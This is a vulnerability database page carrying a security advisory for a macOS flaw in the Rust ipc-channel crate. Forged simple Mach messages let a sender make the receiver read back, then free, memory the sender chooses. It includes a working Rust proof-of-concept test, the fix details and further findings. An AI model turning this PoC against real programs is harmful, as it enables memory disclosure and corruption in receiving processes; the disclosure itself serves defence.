PHP2Shell: Read our blog on the critical RCE vulnerabilities affecting 70% of the Internet
Vulnerability DatabaseGHSA-fj85-w6rj-rxrc

GHSA-fj85-w6rj-rxrc: 
Rust vulnerability analysis and mitigation

Summary

On macOS, the receive path in src/platform/macos/mod.rs trusts the body of every received Mach message. A process holding a send right to an ipc-channel receiver can send a simple (non-complex) message whose body imitates descriptors. The receiver then reads from and vm_deallocates an address and size the sender chose. All releases up to and including 0.23.0 are affected; other platforms are not.

Details

In select():

  • The received header's MACH_MSGH_BITS_COMPLEX bit is never checked. The kernel writes descriptors only into complex messages; in a simple message, body.msgh_descriptor_count and every "descriptor" after it are bytes the sender chose.
  • The port loop turns sender-chosen values into port names (OsOpaqueIpcChannel::from_name).
  • The out-of-line loop checks the descriptor type only with debug_assert!, then builds OsIpcSharedMemory::from_raw_parts(address, size) from sender-chosen values. Dropping that region calls vm_deallocate(mach_task_self(), address, size).
  • If the inline-data flag (also sender-chosen, and read as a Rust bool) is false, the last such region is popped and copied with .to_vec(). That reads a sender-chosen range of the receiver's memory and returns it to the caller as the payload, then deallocates the range.
  • The descriptor walk is not bounded by msgh_size, so a large count walks past the receive buffer. The inline payload check (assert!(payload_size <= max_payload_size)) does not account for the flag, padding and size field, so a payload can extend into the trailer. Invalid input panics (assert!, expect) instead of returning an error. Who can send: any holder of a send right. For an IpcOneShotServer, that is any process in the same bootstrap namespace that learns the server's name (often passed to a child on its command line). For an established channel, it is any process that was handed a sender, for example a less trusted child process.

PoC

Against main at 6326a1a (v0.23.0), as a test module inside src/platform/macos (#[cfg(test)] mod poc; in mod.rs):

use super::mach_sys::{self, mach_msg_header_t, mach_msg_ool_descriptor_t};
use super::{
    mach_task_self, OsIpcOneShotServer, OsIpcSender, KERN_SUCCESS, MACH_MSG_OOL_DESCRIPTOR,
    MACH_MSG_SUCCESS, MACH_MSG_TIMEOUT_NONE, MACH_MSG_TYPE_COPY_SEND, MACH_MSG_VIRTUAL_COPY,
    MACH_PORT_NULL, MACH_SEND_MSG,
};
use std::{mem, ptr, slice};
const SIZE: usize = 16384;
const TAG: u32 = 250; // VM_MEMORY_APPLICATION_SPECIFIC_11
fn tagged_page() -> *mut u8 {
    let mut address = 0;
    let flags = 1 | (TAG << 24) as i32; // VM_FLAGS_ANYWHERE | VM_MAKE_TAG(TAG)
    let result = unsafe { mach_sys::vm_allocate(mach_task_self(), &mut address, SIZE, flags) };
    assert_eq!(result, KERN_SUCCESS);
    unsafe { ptr::write_bytes(address as *mut u8, 0xa5, SIZE) };
    address as *mut u8
}
fn is_mapped(address: *mut u8) -> bool {
    let address = address as usize;
    let (mut region, mut size, mut depth) = (address, 0, 0);
    let mut info: mach_sys::vm_region_submap_info_64 = unsafe { mem::zeroed() };
    let mut count = (mem::size_of_val(&info) / 4) as u32;
    let result = unsafe {
        mach_sys::vm_region_recurse_64(
            mach_task_self(),
            &mut region,
            &mut size,
            &mut depth,
            &mut info as *mut _ as mach_sys::vm_region_recurse_info_t,
            &mut count,
        )
    };
    let tag = info.user_tag;
    result == KERN_SUCCESS && region <= address && address < region + size && tag == TAG
}
#[test]
fn simple_message_with_a_fake_region() {
    let (server, name) = OsIpcOneShotServer::new().unwrap();
    let sender = OsIpcSender::connect(name).unwrap();
    let page = tagged_page();
    // A simple message: descriptor count 1, one fake out-of-line descriptor
    // naming `page`, inline-data flag 0.
    let mut body = 1u32.to_ne_bytes().to_vec();
    let mut descriptor: mach_msg_ool_descriptor_t = unsafe { mem::zeroed() };
    descriptor.address = page as *mut _;
    descriptor.size = SIZE as u32;
    descriptor.set_copy(MACH_MSG_VIRTUAL_COPY);
    descriptor.set_type(MACH_MSG_OOL_DESCRIPTOR);
    body.extend_from_slice(unsafe {
        slice::from_raw_parts(&descriptor as *const _ as *const u8, mem::size_of_val(&descriptor))
    });
    body.push(0);
    let size = (mem::size_of::<mach_msg_header_t>() + body.len()).next_multiple_of(4);
    let mut buffer = vec![0u64; size.div_ceil(8)];
    let header = buffer.as_mut_ptr() as *mut mach_msg_header_t;
    let result = unsafe {
        (*header).msgh_bits = MACH_MSG_TYPE_COPY_SEND as u32;
        (*header).msgh_size = size as u32;
        (*header).msgh_remote_port = sender.port;
        (*header).msgh_local_port = MACH_PORT_NULL;
        ptr::copy_nonoverlapping(
            body.as_ptr(),
            (header as *mut u8).add(mem::size_of::<mach_msg_header_t>()),
            body.len(),
        );
        mach_sys::mach_msg(header, MACH_SEND_MSG, size as u32, 0, MACH_PORT_NULL,
            MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL)
    };
    assert_eq!(result, MACH_MSG_SUCCESS);
    assert!(is_mapped(page));
    let (_receiver, message) = server.accept().unwrap();
    // The payload is the receiver's own page, and the page has been freed.
    assert!(message.data.len() == SIZE && message.data.iter().all(|byte| *byte == 0xa5));
    assert!(!is_mapped(page));
}

On macOS 26 (arm64) this test passes: accept() succeeds, the payload is the receiver's page, and the page is no longer mapped afterwards.

Impact

Memory corruption in the receiving process: an arbitrary read whose result is returned to the caller, and vm_deallocate of an arbitrary range, which can be turned into a use-after-free. Programs whose receivers can get messages from a less trusted process are exposed, for example a parent receiving from sandboxed children, or a one-shot server whose name another local process can learn. We found it in Firefox Enterprise, which uses ipc-channel between its launcher and the browser on macOS.

Fix

We have a patch against main (6326a1a), with tests, and can push it to a temporary private fork or attach it here. It makes the receive path check that a message has the layout OsIpcSender::send writes before using any part of it:

  • Descriptors are read only from complex messages; a simple message must claim none.
  • Descriptor types are checked in release builds too: port descriptors first, then out-of-line descriptors, nothing else.
  • The descriptor walk, the inline-data flag (0 or 1) and the inline payload are bounded by msgh_size with checked arithmetic.
  • A message that fails a check is destroyed with mach_msg_destroy (after marking every out-of-line region for deallocation, since mach_msg_destroy skips physical-copy and volatile regions), and recv, select and accept return a new MachError::RcvMalformedMessage instead of panicking.
  • OsIpcSharedMemory derefs a null, zero-length region (how the kernel delivers an empty out-of-line region) as an empty slice. It adds src/platform/macos/tests.rs with 21 tests and no new dependencies. The full suite passes on macOS in debug and release and with enable-slow-tests, async and force-inprocess; rustfmt and clippy (stable and 1.86) are clean for the changed files. The same fix is already public in Mozilla's fork of the crate: https://github.com/mozilla/ipc-channel/pull/7. It does not mention Servo or upstream, but it shows the issue to anyone who compares the two.

Found while working on this and not fixed by the patch; none is memory corruption. We are happy to send fixes for these too:

  • A message with msgh_id set to MACH_NOTIFY_NO_SENDERS is treated as the kernel's no-senders notification before any validation, so a sender can make a receiver report itself closed, and the message's rights are leaked.
  • A reply right attached to an accepted message (in msgh_remote_port) is never released, so a sender can exhaust the receiver's port names.
  • Port dispositions are not checked, so a send right delivered where a receiver is expected panics when dropped.
  • When mach_msg returns MACH_RCV_BODY_ERROR, the partly delivered message is not destroyed (from reading XNU, not reproduced).
  • deserialize_os_ipc_sender and deserialize_os_ipc_receiver panic on an out-of-range port index from the payload.
  • OsIpcSharedMemory::from_byte(_, 0) builds a slice from a null pointer. Please credit johnreitano, lissyx and gcp (all Mozilla).

Source: NVD

Related Rust vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-fj85-w6rj-rxrcHIGH7.8
  • Rust logoRust
  • ipc-channel
NoYesOct 24, 2026
GHSA-cc53-p78w-23w9MEDIUM6.3
  • Rust logoRust
  • skiplist
NoYesOct 24, 2026
GHSA-924w-mwc9-86m8LOW2.1
  • Rust logoRust
  • skiplist
NoYesOct 24, 2026
GHSA-v8f6-5mx7-9fffLOWN/A
  • Rust logoRust
  • kule
NoYesOct 24, 2026
GHSA-mr6f-2w9f-qrf8LOWN/A
  • Rust logoRust
  • kule
NoYesOct 24, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management